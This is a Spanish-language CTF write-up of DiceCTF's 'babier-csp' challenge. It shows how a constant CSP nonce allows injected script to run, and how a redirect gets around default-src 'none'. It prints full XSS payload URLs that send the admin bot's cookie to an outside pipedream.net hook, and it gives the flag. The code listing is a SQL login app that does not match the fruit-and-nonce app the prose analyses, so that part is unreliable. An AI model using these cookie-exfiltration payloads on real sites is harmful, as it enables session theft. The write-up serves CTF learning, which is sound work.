Abusing a static nonce in Content Security Policy (CSP) to execute XSS

By Luis Fernando García a.k.a ReyLagarto, David Ramírez Mendoza a.k.a Pachamama62  &

Luis Adrian De la Rosa Hernandez a.k.a M41w4r3


Este es un reto web que se resolvió en el Dice CTF. La descripción del reto daba una pista de que se trataba de CSP, el código de la aplicación y el link de un admin bot que establecerá una cookie.



Figura 1


Análisis de la aplicación


Figura 2


El admin bot solo era una sencilla aplicación que aceptaba URLs y cuando se realizaba la petición el admin bot visitaba la URL ingresada.



Figura 3



La aplicación mostraba un botón y lo que hacía era que cambiaba el nombre de la fruta de manera aleatoria. Esa era la única funcionalidad de toda la aplicación.



El código

const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')

// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT,
  password TEXT
);`);

// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
  'admin',
  '${crypto.randomBytes(16).toString('hex')}'
)`);

const express = require('express');
const bodyParser = require('body-parser');

const app = express();

// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

// login route
app.post('/login', (req, res) => {
  if (!req.body.username || !req.body.password) {
    return res.redirect('/');
  }

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

  // see if user is in database
  const query = `SELECT id FROM users WHERE
    username = '${req.body.username}' AND
    password = '${req.body.password}'
  `;

  let id;
  try { id = db.prepare(query).get()?.id } catch {
    return res.redirect('/');
  }

  // correct login
  if (id) return res.sendFile('flag.html', { root: __dirname });

  // incorrect login
  return res.redirect('/');
});

app.listen(3000);

Del código se entendieron los siguientes puntos:

  • La ruta principal de la aplicación manda un template donde el nombre de la fruta es el parámetro de la url (/?name=), en este caso toma un valor aleatorio de un arreglo con nombre de frutas ("apple", "orange", "pineapple", "pear), y lo pasa a través de una solicitud GET y la muestra en la página como parte de ${name}.

  • Al llamar la ruta principal también se incluye un header que contiene un CSP con un nonce.

  • El nonce es generado en la misma aplicación y es una constante.

  • Existe otra ruta dentro de la aplicación que es “'/' + SECRET” y que es el token que el admin tiene como cookie.


Rápidamente nos damos cuenta de que podemos colocar cualquier HTML${name} y, por lo tanto, es vulnerable a XSS .También tener en mente que el nonce es una constante:


     const  NONCE = crypto.randomBytes(16).toString('base64');   


Por lo que es muy sencillo extraerlo del código fuente de la página:


nonce=g+ojjmb9xLfE+3j9PsP/Ig==


Figura 4

  

y que existe un CSP que pudiera bloquear ejecución de código. 



Ejecutando el primer XSS


Empezamos por hacer una prueba básica de XSS mandando un payload muy básico:


https://babier-csp.dicec.tf/?name=<script>alert(document.cookie)</script>


Figura 5


Al momento de mandar el payload el CSP bloqueó la petición y mostró el error de la figura 5.


Políticas de Seguridad de Contenido (CSP) es una capa de seguridad adicional que ayuda a detectar y mitigar cierto tipo de ataques, incluyendo Cross-Site Scripting (XSS) y ataques de inyección de datos. Los sitios comúnmente tienen que cargar recursos (hojas de estilos,imágenes, códigos,etc) del lado del servidor y estos recursos pudieran estar en sitios externos o en otra parte de la aplicación. En este caso el CSP funciona como un filtro de los sitios de donde se puede cargar o ejecutar algún recurso y así prevenir la ejecución o inyección de código malicioso.


Figura 6



En la figura 6 se puede ver la definición del CSP del sitio la cual contiene la directiva script-src que es la que va a bloquear la ejecución de scripts no permitidos. El nonce es un hash. El servidor debe generar un valor nonce único cada vez que transmite una política. Por lo tanto todos los scripts que contengan el nonce generado pueden ser ejecutados. Como el servidor genera el valor nonce como una constante podemos usar ese valor tal y como está para ejecutar nuestro payload.


https://babier-csp.dicec.tf/?name=< script nonce="g%2Bojjmb9xLfE%2b3j9PsP/Ig==" > alert(1) </script>


Figura 7




Redireccionado XSS bypass default-src


Una vez que ya se pudo ejecutar un XSS vamos a tratar de conseguir las cookies haciendo un fetch del sitio con la siguiente payload:


<script nonce="g%2Bojjmb9xLfE%2b3j9PsP/Ig==">
fetch('https://enpgz4m54ffkh4b.m.pipedream.net?c='%2Bdocument.cookie)</script

Pero cualquier intento de fetch es bloqueado por default-src none; 



Figura 8



La directiva default-src define una política de carga de cualquier tipo, en caso de que una directiva explícita no esté definida (image-src). En este caso es none, por lo tanto va a bloquear cualquier carga que se le haga a un recurso externo (sitio,archivo,imágenes,etc.).


Para evitar que el sitio trate de cargar un recurso externo, lo mejor en este caso es redireccionar al usuario al sitio que queremos junto con la cookie. Entonces con código javascript cambiamos la location del documento que está cargando:


document.location='sitio al que queremos redireccionar'


Ahora armamos la payload completa con esto:


<script nonce="g%2Bojjmb9xLfE%2b3j9PsP/Ig==">
document.location='https://enpgz4m54ffkh4b.m.pipedream.net?c='+document.cookie
</script>

Al correr este payload nos muestra un error por cuestiones de codificación de los caracteres, entonces solo le aplicamos HTML encode al signo de ‘+’


<script nonce="g%2Bojjmb9xLfE%2b3j9PsP/Ig==">
document.location='https://enpgz4m54ffkh4b.m.pipedream.net?c='%2Bdocument.cookie
</script>


La payload la mandamos en la url para que se ejecute y redireccione. La url completa es la siguiente: 


https://babier-csp.dicec.tf/?name=<script nonce ="g %2Bojjmb9xLfE%2b3j9PsP/Ig=="> document.location='https://enpgz4m54ffkh4b.m.pipedream.net?c='%2Bdocument.cookie</script>


Obteniendo la flag


Ahora esa es la url que se tiene que mandar al admin para que la visite y se ejecute el código y podamos obtener el secret. Para recibir la petición abrimos nuestro hook en https://pipedream.com y ahora si mandamos la url.




Figura 9


Y como se puede observar en la figura 9 la petición llega al hook y ya contiene la cookie llamada secret la cual es la entrada a la bandera. Ahora solo hay que navegar a la bandera.


Figura 10



Y finalmente así llegamos a la bandera.


Flag: dice{web_1s_a_stat3_0f_grac3_857720}


Go Mayas!



Referencias

https://developer.mozilla.org/es/docs/Web/HTTP/CSP

https://medium.com/@bhaveshthakur2015/content-security-policy-csp-bypass-techniques-e3fa475bfe5d

https://csp-evaluator.withgoogle.com/

https://blog.pablofain.com/2019/01/03/usando-csp-para-incrementar-la-seguridad-de-tu-sitio-web/

.

       

                                      





Comentarios